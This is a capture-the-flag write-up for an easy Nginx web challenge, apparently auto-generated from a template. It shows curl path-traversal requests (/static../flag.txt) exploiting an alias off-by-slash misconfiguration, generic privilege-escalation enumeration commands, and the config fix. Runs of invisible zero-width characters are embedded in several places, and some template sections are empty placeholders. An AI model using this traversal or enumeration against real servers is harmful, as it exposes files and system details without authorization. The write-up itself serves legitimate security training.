DevOps 300k-s

Platform: HackerLab | Category: Web | Type: Challenge | Difficulty: Easy | OS: NA | Author: D3v0o0Nu11 | Date: 2026-05-02 | Status: Solved Techniques: nginx_alias_path_traversal, off_by_slash_exploitation, source_code_analysis

Summary

Task: Nginx configuration provided with location/alias off-by-slash misconfiguration. Solution: exploited path traversal via /static../ to read flag.txt outside the intended directory.

Recon

Port scan

nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn

Enumeration highlights

• Event: hackerlab | ID: 20260502_hackerlab_devops_300ks
• Tags: lfi, path_traversal, nginx, alias, misconfiguration, off_by_slash
• Indicators: Nginx config with location directive missing trailing slash, alias directive with trailing slash paired with location without trailing slash, location /static with alias /path/to/static/ — off-by-slash mismatch, Challenge hint about one extra or missing character opening access
• Source: 20260502_hackerlab_devops_300ks.md

Foothold

Vulnerability / Misconfiguration

1. Nginx_alias_path_traversal
2. Off_by_slash_exploitation
3. Source_code_analysis

<command>

Exploitation

• See original writeup content for detailed exploitation.

Privilege Escalation

Enumeration

sudo -l
find / -perm -4000 2>/dev/null
getcap -r / 2>/dev/null
cat /etc/crontab
ps aux

Exploitation

1. N/A for challenge-type writeup; see exploitation above.
2. Flag obtained via challenge solve.

<command>

Flags

Key Takeaways / Lessons

• nginx_alias_path_traversal
• off_by_slash_exploitation
• source_code_analysis
• Tags: lfi, path_traversal, nginx, alias, misconfiguration, off_by_slash

Original Writeup

<details><summary>Click to expand original content</summary>

Description

Говорят, хороший DevOps зарабатывает 300k/s, но даже у лучших иногда один лишний или недостающий символ может открыть доступ туда, куда заходить не планировалось.

English summary: A web server is running at 62.173.140.174:16120. A zip archive is provided containing the server's source files: index.html (a fun page about a DevOps earning 300K per nanosecond), nginx.conf (the Nginx configuration), and script.js (JSFuck-obfuscated JavaScript — a red herring). The goal is to exploit a misconfiguration in nginx.conf to read files outside the intended web root. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Analysis

The provided nginx.conf contains a classic Nginx alias path traversal vulnerability (off-by-slash):

location /static {
    alias /var/www/app/static/;
}

The vulnerability: location /static has no trailing slash, but alias /var/www/app/static/ has a trailing slash. This mismatch allows path traversal.

When Nginx processes a request matching location /static, it strips the matched prefix (/static) and appends the remainder to the alias path. Without the trailing slash on the location, a request to /static../ is valid because Nginx matches /static and treats ../ as the remaining path. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

The challenge description itself hints at this: "один лишний или недостающий символ может открыть доступ" — one extra or missing character (the trailing slash) can open access to unintended locations.

The JSFuck-obfuscated script.js is a deliberate red herring to waste time on deobfuscation.

Solution

Step 1: Extract and analyze provided files

unzip devops_300k.zip
# Found: index.html, nginx.conf, script.js

Step 2: Identify the vulnerability in nginx.conf

The off-by-slash misconfiguration:

• location /static — no trailing slash
• alias /var/www/app/static/ — has trailing slash ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

This is a well-known Nginx misconfiguration that allows directory traversal.

Step 3: Exploit the path traversal

# Test traversal — 403 confirms the path works (directory listing denied)
curl http://62.173.140.174:16120/static../
# Response: 403 Forbidden

# Read flag.txt one directory up from static/
curl http://62.173.140.174:16120/static../flag.txt
# Response: CODEBY{REDACTED}

How the traversal works

1. Request: /static../flag.txt
2. Nginx matches location /static (longest prefix match, no trailing slash required)
3. Remaining path after stripping prefix: ../flag.txt
4. Nginx constructs filesystem path: alias + remaining = /var/www/app/static/ + ../flag.txt
5. Resolved path: /var/www/app/static/../flag.txt → /var/www/app/flag.txt ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

The fix would be to add a trailing slash to the location directive:

location /static/ {
    alias /var/www/app/static/;
}

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

</details>

---

Auto-tracked: saved to WriteUps; run /xesor-revise to fold lessons into XESXor_Methodology.md.

signed by XESXOR